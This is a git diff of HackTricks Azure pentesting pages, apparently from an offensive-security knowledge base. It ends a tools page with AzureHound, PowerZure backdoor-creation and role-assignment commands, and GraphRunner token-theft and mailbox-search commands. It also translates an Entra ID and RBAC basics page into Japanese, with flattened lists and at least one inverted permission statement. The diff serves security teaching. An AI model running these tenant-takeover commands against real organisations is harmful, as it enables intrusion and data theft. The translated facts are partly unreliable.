 ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-
 ```powershell
 # You need to use the Az PowerShell and Azure AD modules:
 $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -294,9 +275,7 @@ MATCH  p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
 ## All Azure AD Groups that are synchronized with On-Premise AD
 MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
 ```
-
 ### [Azucar](https://github.com/nccgroup/azucar)
-
 ```bash
 # You should use an account with at least read-permission on the assets you want to access
 git clone https://github.com/nccgroup/azucar.git
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
 # resolve the TenantID for an specific username
 PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
 ```
-
 ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
-
 ```
 Import-Module .\MicroBurst.psm1
 Import-Module .\Get-AzureDomainInfo.ps1
 Get-AzureDomainInfo -folder MicroBurst -Verbose
 ```
-
 ### [**PowerZure**](https://github.com/hausec/PowerZure)
-
 ```powershell
 Connect-AzAccount
 ipmo C:\Path\To\Powerzure.psd1
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
 # Administrator
 $ Create-Backdoor, Execute-Backdoor
 ```
-
 ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
-
 ```powershell
 
 #Get-GraphTokens
@@ -398,9 +371,4 @@ Get-TenantID -Domain
 #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
 Invoke-GraphRunner -Tokens $tokens
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index a600b66dc..c0066ab40 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -1,376 +1,372 @@
-# Az - Basic Information
+# Az - 基本情報
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Organization Hierarchy
+## 組織階層
 
 
https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

 
-### Management Groups
+### 管理グループ
 
-- It can contain **other management groups or subscriptions**.
-- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
-- **10,000 management** groups can be supported in a single directory.
-- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
-- Each management group and subscription can support **only one parent**.
-- Even if several management groups can be created **there is only 1 root management group**.
-  - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
-- All subscriptions within a single management group must trust the **same Entra ID tenant.**
+- **他の管理グループやサブスクリプション**を含むことができます。
+- これにより、管理グループレベルで**ガバナンスコントロール**（RBACやAzureポリシーなど）を一度適用し、グループ内のすべてのサブスクリプションに**継承**させることができます。
+- **10,000の管理**グループが単一のディレクトリでサポートされます。
+- 管理グループツリーは**最大6レベルの深さ**をサポートできます。この制限にはルートレベルやサブスクリプションレベルは含まれません。
+- 各管理グループとサブスクリプションは**1つの親**のみをサポートできます。
+- 複数の管理グループを作成できる場合でも、**ルート管理グループは1つだけ**です。
+- ルート管理グループは**すべての**他の**管理グループとサブスクリプションを含み、**移動または削除することはできません**。
+- 単一の管理グループ内のすべてのサブスクリプションは、**同じEntra IDテナントを信頼**しなければなりません。
 
 
https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

 
-### Azure Subscriptions
+### Azureサブスクリプション
 
-- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
-- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
-- It **trust only one Entra ID** directory
-- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
+- これは、リソース（VM、DBなど）を実行し、請求される**論理コンテナ**です。
+- その**親**は常に**管理グループ**であり（ルート管理グループであることも可能）、サブスクリプションは他のサブスクリプションを含むことはできません。
+- **1つのEntra ID**ディレクトリのみを**信頼**します。
+- サブスクリプションレベル（またはその親のいずれか）で適用された**権限**は、サブスクリプション内のすべてのリソースに**継承**されます。
 
-### Resource Groups
+### リソースグループ
 
-[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
+[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) リソースグループは、Azureソリューションのための**関連リソース**を保持する**コンテナ**です。リソースグループには、ソリューションのすべてのリソースを含めることも、**グループとして管理したいリソースのみ**を含めることもできます。一般的に、**同じライフサイクル**を共有する**リソース**を同じリソースグループに追加することで、グループとして簡単に展開、更新、削除できます。
 
-All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
+すべての**リソース**は**リソースグループ内**に存在し、グループにのみ属し、リソースグループが削除されると、その中のすべてのリソースも削除されます。
 
 
https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

 
-### Azure Resource IDs
+### AzureリソースID
 
-Every resource in Azure has an Azure Resource ID that identifies it.
+Azureのすべてのリソースには、それを識別するAzureリソースIDがあります。
 
-The format of an Azure Resource ID is as follows:
+AzureリソースIDの形式は次のとおりです。
 
 - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
 
-For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
+サブスクリプションID `12345678-1234-1234-1234-123456789012` のリソースグループ `myResourceGroup` にある仮想マシン `myVM` のAzureリソースIDは次のようになります。
 
 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
-## Azure vs Entra ID vs Azure AD Domain Services
+## AzureとEntra IDとAzure ADドメインサービス
 
 ### Azure
 
-Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
+Azureは、Microsoftの包括的な**クラウドコンピューティングプラットフォームで、幅広いサービスを提供**しており、仮想マシン、データベース、人工知能、ストレージなどが含まれます。アプリケーションのホスティングと管理、スケーラブルなインフラストラクチャの構築、クラウドでの最新のワークロードの実行の基盤として機能します。Azureは、開発者やIT専門家がアプリケーションやサービスをシームレスに作成、展開、管理できるツールを提供し、スタートアップから大企業までさまざまなニーズに対応します。
 
-### Entra ID (formerly Azure Active Directory)
+### Entra ID（旧Azure Active Directory）
 
-Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
+Entra IDは、認証、承認、ユーザーアクセス制御を処理するために設計されたクラウドベースの**アイデンティティおよびアクセス管理サービス**です。Office 365、Azure、その他の多くのサードパーティのSaaSアプリケーションへの安全なアクセスを提供します。シングルサインオン（SSO）、多要素認証（MFA）、条件付きアクセスポリシーなどの機能を備えています。
 
-### Entra Domain Services (formerly Azure AD DS)
+### Entraドメインサービス（旧Azure AD DS）
 
-Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
+Entraドメインサービスは、従来のWindows Active Directory環境と互換性のある**管理されたドメインサービスを提供することにより、Entra IDの機能を拡張**します。LDAP、Kerberos、NTLMなどのレガシープロトコルをサポートし、組織がオンプレミスのドメインコントローラーを展開することなく、クラウドで古いアプリケーションを移行または実行できるようにします。このサービスは、集中管理のためのグループポリシーもサポートしており、レガシーまたはADベースのワークロードが最新のクラウド環境と共存する必要があるシナリオに適しています。
 
-## Entra ID Principals
+## Entra IDプリンシパル
 
-### Users
+### ユーザー
 
-- **New users**
-  - Indicate email name and domain from selected tenant
-  - Indicate Display name
-  - Indicate password
-  - Indicate properties (first name, job title, contact info…)
-    - Default user type is “**member**”
-- **External users**
-  - Indicate email to invite and display name (can be a non Microsft email)
-  - Indicate properties
-    - Default user type is “**Guest**”
+- **新しいユーザー**
+- 選択したテナントからのメール名とドメインを示す
+- 表示名を示す
+- パスワードを示す
+- プロパティ（名、職名、連絡先情報など）を示す
+- デフォルトのユーザータイプは「**メンバー**」
+- **外部ユーザー**
+- 招待するメールと表示名を示す（Microsoft以外のメールも可）
+- プロパティを示す
+- デフォルトのユーザータイプは「**ゲスト**」
 
-### Members & Guests Default Permissions
+### メンバーとゲストのデフォルト権限
 
-You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
+[https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) で確認できますが、メンバーは以下のアクションを実行できます。
 
-- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
-- Invite Guests (_can be turned off_)
-- Create Security groups
-- Read non-hidden Group memberships
-- Add guests to Owned groups
-- Create new application (_can be turned off_)
-- Add up to 50 devices to Azure (_can be turned off_)
+- すべてのユーザー、グループ、アプリケーション、デバイス、ロール、サブスクリプション、およびその公開プロパティを読み取る
+- ゲストを招待する（_オフにすることが可能_）
+- セキュリティグループを作成する
+- 非表示のグループメンバーシップを読み取る
+- 所有グループにゲストを追加する
+- 新しいアプリケーションを作成する（_オフにすることが可能_）
+- Azureに最大50デバイスを追加する（_オフにすることが可能_）
 
 > [!NOTE]
-> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
+> Azureリソースを列挙するには、ユーザーに明示的な権限の付与が必要です。
 
-### Users Default Configurable Permissions
+### ユーザーのデフォルト設定可能な権限
 
-- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
-  - Register Applications: Default **Yes**
-  - Restrict non-admin users from creating tenants: Default **No**
-  - Create security groups: Default **Yes**
-  - Restrict access to Microsoft Entra administration portal: Default **No**
-    - This doesn’t restrict API access to the portal (only web)
-  - Allow users to connect work or school account with LinkedIn: Default **Yes**
-  - Show keep user signed in: Default **Yes**
-  - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
-  - Read other users: Default **Yes** (via Microsoft Graph)
-- **Guests**
-  - **Guest user access restrictions**
-    - **Guest users have the same access as members** grants all member user permissions to guest users by default.
-    - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
-    - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
-  - **Guests can invite**
-    - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
-    - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
-    - **Only users assigned to specific admin roles can invite guest users**
-    - **No one in the organization can invite guest users including admins (most restrictive)**
-  - **External user leave**: Default **True**
-    - Allow external users to leave the organization
+- **メンバー（**[**ドキュメント**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**）**
+- アプリケーションの登録: デフォルトは**はい**
+- 非管理者ユーザーによるテナントの作成を制限: デフォルトは**いいえ**
+- セキュリティグループの作成: デフォルトは**はい**
+- Microsoft Entra管理ポータルへのアクセスを制限: デフォルトは**いいえ**
+- これはポータルへのAPIアクセスを制限しません（ウェブのみ）
+- ユーザーがLinkedInと仕事または学校のアカウントを接続できるようにする: デフォルトは**はい**
+- ユーザーをサインインしたままにする: デフォルトは**はい**
+- ユーザーが所有するデバイスのBitLockerキーを回復することを制限: デフォルトはいいえ（デバイス設定で確認）
+- 他のユーザーを読み取る: デフォルトは**はい**（Microsoft Graph経由）
+- **ゲスト**
+- **ゲストユーザーアクセス制限**
+- **ゲストユーザーはメンバーと同じアクセス権を持つ**は、デフォルトでゲストユーザーにすべてのメンバー権限を付与します。
+- **ゲストユーザーはディレクトリオブジェクトのプロパティとメンバーシップへのアクセスが制限される（デフォルト）**は、デフォルトで自分のユーザープロファイルのみへのアクセスを制限します。他のユーザーやグループ情報へのアクセスは許可されません。
+- **ゲストユーザーアクセスは自分のディレクトリオブジェクトのプロパティとメンバーシップに制限される**が最も制限的です。
+- **ゲストは招待できる**
+- **組織内の誰でもゲストユーザーを招待できる（ゲストや非管理者を含む、最も包括的） - デフォルト**
+- **メンバーユーザーおよび特定の管理ロールに割り当てられたユーザーは、メンバー権限を持つゲストを含むゲストユーザーを招待できます**
+- **特定の管理ロールに割り当てられたユーザーのみがゲストユーザーを招待できます**
+- **組織内の誰もゲストユーザーを招待できない（管理者を含む、最も制限的）**
+- **外部ユーザーの退会**: デフォルトは**真**
+- 外部ユーザーが組織を退会できるようにする
 
 > [!TIP]
-> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
+> デフォルトで制限されていても、権限が付与されたユーザー（メンバーとゲスト）は前述のアクションを実行できます。
 
-### **Groups**
+### **グループ**
 
-There are **2 types of groups**:
+**2種類のグループ**があります。
 
-- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
-- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
-  - This will have an **email address** with the domain of the EntraID tenant.
+- **セキュリティ**: このタイプのグループは、メンバーにアプリケーション、リソースへのアクセスを提供し、ライセンスを割り当てるために使用されます。ユーザー、デバイス、サービスプリンシパル、他のグループがメンバーになれます。
+- **Microsoft 365**: このタイプのグループは、コラボレーションのために使用され、メンバーに共有メールボックス、カレンダー、ファイル、SharePointサイトなどへのアクセスを提供します。グループメンバーはユーザーのみです。
+- これは、EntraIDテナントのドメインを持つ**メールアドレス**を持ちます。
 
-There are **2 types of memberships**:
+**2種類のメンバーシップ**があります。
 
-- **Assigned**: Allow to manually add specific members to a group.
-- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
+- **割り当てられた**: 特定のメンバーを手動でグループに追加することを許可します。
+- **動的メンバーシップ**: ルールを使用してメンバーシップを自動的に管理し、メンバーの属性が変更されるとグループの含有を更新します。
 
-### **Service Principals**
+### **サービスプリンシパル**
 
-A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
+**サービスプリンシパル**は、**アプリケーション**、ホスティングサービス、および自動化ツールがAzureリソースにアクセスするために**使用**される**アイデンティティ**です。このアクセスは、サービスプリンシパルに割り当てられたロールによって**制限され**、**どのリソースにアクセスできるか**とそのレベルを制御します。セキュリティ上の理由から、**ユーザーアイデンティティでログインするのではなく、自動化ツールとともにサービスプリンシパルを使用することを常に推奨します**。
 
-It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
+サービスプリンシパルとして**直接ログインする**ことも可能で、**シークレット**（パスワード）、**証明書**を生成するか、第三者プラットフォーム（例：Github Actions）への**フェデレーテッド**アクセスを付与することができます。
 
-- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
-- If you choose certificate authentication, make sure the **application will have access over the private key**.
+- **パスワード**認証（デフォルト）を選択した場合、**生成されたパスワードを保存**してください。再度アクセスすることはできません。
+- 証明書認証を選択した場合、**アプリケーションがプライベートキーにアクセスできることを確認**してください。
 
-### App Registrations
+### アプリ登録
 
-An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
+**アプリ登録**は、アプリケーションがEntra IDと統合し、アクションを実行できるようにするための構成です。
 
-#### Key Components:
+#### 主要コンポーネント:
 
-1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
-2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
-3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). 
-   1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
-4. **API Permissions:** Specifies what resources or APIs the app can access.
-5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
-6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
-   1. The **service principal** will get all the requested permissions it was configured with.
+1. **アプリケーションID（クライアントID）**: Azure AD内のアプリの一意の識別子。
+2. **リダイレクトURI**: Azure ADが認証応答を送信するURL。
+3. **証明書、シークレット、フェデレーテッド資格情報**: アプリケーションのサービスプリンシパルとしてログインするためにシークレットまたは証明書を生成するか、フェデレーテッドアクセスを付与することが可能です。
+   1. **証明書**または**シークレット**が生成された場合、**アプリケーションID**、**シークレット**または**証明書**、および**テナント**（ドメインまたはID）を知っていることで、CLIツールを使用して**サービスプリンシパルとしてログイン**できます。
+4. **API権限**: アプリがアクセスできるリソースまたはAPIを指定します。
+5. **認証設定**: アプリのサポートされている認証フローを定義します（例：OAuth2、OpenID Connect）。
+6. **サービスプリンシパル**: アプリが作成されると（ウェブコンソールから行われた場合）、サービスプリンシパルが作成されます。
+   1. **サービスプリンシパル**は、構成されたすべての要求された権限を取得します。
 
-### Default Consent Permissions
+### デフォルト同意権限
 
-**User consent for applications**
+**アプリケーションに対するユーザー同意**
 
-- **Do not allow user consent**
-  - An administrator will be required for all apps.
-- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
-  - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
-  - **Default** low impact permissions (although you need to accept to add them as low):
-    - User.Read - sign in and read user profile
-    - offline_access - maintain access to data that users have given it access to
-    - openid - sign users in
-    - profile - view user's basic profile
-    - email - view user's email address
-- **Allow user consent for apps (Default)**
-  - All users can consent for any app to access the organization's data.
+- **ユーザー同意を許可しない**
+- すべてのアプリに対して管理者が必要です。
+- **確認されたパブリッシャーからのアプリに対するユーザー同意を許可し、選択された権限（推奨）**
+- すべてのユーザーは、「低影響」と分類された権限に同意でき、確認されたパブリッシャーからのアプリやこの組織に登録されたアプリに対して同意できます。
+- **デフォルト**の低影響権限（ただし、低影響として追加するには同意が必要）:
+  - User.Read - サインインしてユーザープロファイルを読み取る
+  - offline_access - ユーザーがアクセスを許可したデータへのアクセスを維持する
+  - openid - ユーザーをサインインさせる
+  - profile - ユーザーの基本プロファイルを表示する
+  - email - ユーザーのメールアドレスを表示する
+- **アプリに対するユーザー同意を許可する（デフォルト）**
+- すべてのユーザーは、組織のデータにアクセスするために任意のアプリに同意できます。
 
-**Admin consent requests**: Default **No**
+**管理者同意要求**: デフォルトは**いいえ**
 
-- Users can request admin consent to apps they are unable to consent to
-- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
-  - Configure also if users will receive email notifications and expiration reminders 
+- ユーザーは、同意できないアプリに対して管理者同意を要求できます。
+- **はい**の場合: 同意要求を行うことができるユーザー、グループ、ロールを指定できます。
+- ユーザーがメール通知や期限切れリマインダーを受け取るかどうかも設定できます。
 
-### **Managed Identity (Metadata)**
+### **管理されたアイデンティティ（メタデータ）**
 
-Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
+Azure Active Directoryの管理されたアイデンティティは、アプリケーションの**アイデンティティを自動的に管理する**ためのソリューションを提供します。これらのアイデンティティは、Azure Active Directory（**Azure AD**）認証と互換性のある**リソース**に接続するためにアプリケーションによって使用されます。これにより、アプリケーションは**メタデータ**サービスに連絡して、有効なトークンを取得し、Azureで指定された管理されたアイデンティティとして**アクションを実行**できるようになります。
 
-There are two types of managed identities:
+管理されたアイデンティティには2種類あります。
 
-- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
-- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
+- **システム割り当て**: 一部のAzureサービスでは、**サービスインスタンスに直接管理されたアイデンティティを有効にする**ことができます。システム割り当ての管理されたアイデンティティを有効にすると、リソースが存在するサブスクリプションによって信頼されるEntra IDテナントに**サービスプリンシパル**が作成されます。**リソース**が**削除されると**、Azureは自動的に**アイデンティティ**を削除します。
+- **ユーザー割り当て**: ユーザーが管理されたアイデンティティを生成することも可能です。これらは、サブスクリプション内のリソースグループ内に作成され、サブスクリプションによって信頼されるEntraIDにサービスプリンシパルが作成されます。その後、管理されたアイデンティティをAzureサービスの1つまたは**複数のインスタンス**（複数のリソース）に割り当てることができます。ユーザー割り当ての管理されたアイデンティティでは、**アイデンティティはそれを使用するリソースとは別に管理されます**。
 
-Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
+管理されたアイデンティティは、サービスプリンシパルにアクセスするための永続的な資格情報（パスワードや証明書など）を生成しません。
 
-### Enterprise Applications
+### エンタープライズアプリケーション
 
-It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
+これは、サービスプリンシパルをフィルタリングし、割り当てられたアプリケーションを確認するための**Azure内のテーブル**です。
 
-**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
+**別の「アプリケーション」タイプではありません。** Azure内に「エンタープライズアプリケーション」というオブジェクトは存在せず、サービスプリンシパル、アプリ登録、管理されたアイデンティティを確認するための抽象化に過ぎません。
 
-### Administrative Units
+### 管理単位
 
-Administrative units allows to **give permissions from a role over a specific portion of an organization**.
+管理単位は、**組織の特定の部分に対してロールから権限を付与する**ことを可能にします。
 
-Example:
+例:
 
-- Scenario: A company wants regional IT admins to manage only the users in their own region.
-- Implementation:
-  - Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
-    - Populate AUs with users from their respective regions.
-      - AUs can **contain users, groups, or devices**
-      - AUs support **dynamic memberships**
-      - AUs **cannot contain AUs**
-    - Assign Admin Roles:
-      - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
-- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
+- シナリオ: 会社は地域のIT管理者に自分の地域のユーザーのみを管理させたい。
+- 実装:
+  - 各地域のために管理単位を作成します（例: "北米AU"、"ヨーロッパAU"）。
+  - 各地域のユーザーでAUを構成します。
+  - AUは**ユーザー、グループ、またはデバイスを含むことができます**
+  - AUは**動的メンバーシップをサポートします**
+  - AUは**AUを含むことができません**
+  - 管理ロールを割り当てます:
+  - 地域のITスタッフに「ユーザー管理者」ロールを付与し、その地域のAUにスコープを設定します。
+  - 結果: 地域のIT管理者は、他の地域に影響を与えることなく、自分の地域内のユーザーアカウントを管理できます。
 
-### Entra ID Roles
+### Entra IDロール
 
-- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
-  - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
-- The most privileged role is **Global Administrator**
-- In the Description of the role it’s possible to see its **granular permissions**
+- Entra IDを管理するために、Entra IDプリンシパルに割り当てることができる**組み込みロール**があります。
+- ロールは[https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)で確認できます。
+- 最も特権のあるロールは**グローバル管理者**です。
+- ロールの説明には、その**詳細な権限**が表示されます。
 
-## Roles & Permissions
+## ロールと権限
 
-**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
+**ロール**は、**プリンシパル**に**スコープ**で割り当てられます: `principal -[HAS ROLE]->(scope)`
 
-**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
+**グループ**に割り当てられた**ロール**は、グループのすべての**メンバー**に**継承**されます。
 
-Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
+ロールが割り当てられたスコープに応じて、**ロール**はスコープコンテナ内の**他のリソース**に**継承**される可能性があります。たとえば、ユーザーAが**サブスクリプション**にロールを持っている場合、彼はその**サブスクリプション内のすべてのリソースグループ**および**リソースグループ内のすべてのリソース**にその**ロール**を持ちます。
 
-### **Classic Roles**
+### **クラシックロール**
 
-| **Owner**                     | 
  • Full access to all resources
  • Can manage access for other users
 | All resource types |
+| **オーナー**                     | 
  • すべてのリソースへの完全なアクセス
  • 他のユーザーのアクセスを管理できる
 | すべてのリソースタイプ |
 | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
-| **Contributor**               | 
  • Full access to all resources
  • Cannot manage access
              | All resource types |
-| **Reader**                    | • View all resources                                                                     | All resource types |
-| **User Access Administrator** | 
  • View all resources
  • Can manage access for other users
           | All resource types |
+| **寄稿者**               | 
  • すべてのリソースへの完全なアクセス
  • アクセスを管理できない
              | すべてのリソースタイプ |
+| **リーダー**                    | • すべてのリソースを表示                                                                     | すべてのリソースタイプ |
+| **ユーザーアクセス管理者** | 
  • すべてのリソースを表示
  • 他のユーザーのアクセスを管理できる
           | すべてのリソースタイプ |
 
-### Built-In roles
+### 組み込みロール
 
-[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
+[ドキュメントから: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azureロールベースアクセス制御（Azure RBAC）](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview)には、**ユーザー、グループ、サービスプリンシパル、および管理されたアイデンティティ**に**割り当てることができる**いくつかのAzureの**組み込みロール**があります。ロールの割り当ては、**Azureリソースへのアクセスを制御する方法**です。組み込みロールが組織の特定のニーズを満たさない場合は、独自の[**Azureカスタムロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**を作成できます。**
 
-**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
+**組み込み**ロールは、**意図されたリソース**にのみ適用されます。たとえば、以下の2つの**組み込みロール**の例を確認してください。
 
-| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Provides permission to backup vault to perform disk backup.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
+| [ディスクバックアップリーダー](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | ディスクバックアップを実行するためにバックアップボールトへの権限を提供します。      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
-| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
+| [仮想マシンユーザーログイン](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | ポータル内の仮想マシンを表示し、通常のユーザーとしてログインします。 | fb879df8-f326-4884-b1cf-06f3ad86be52 |
 
-This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
+これらのロールは、**論理コンテナ**（管理グループ、サブスクリプション、リソースグループなど）にも**割り当てることができ**、影響を受けるプリンシパルは**それらのコンテナ内のリソースに対して**持ちます。
 
-- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
-- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
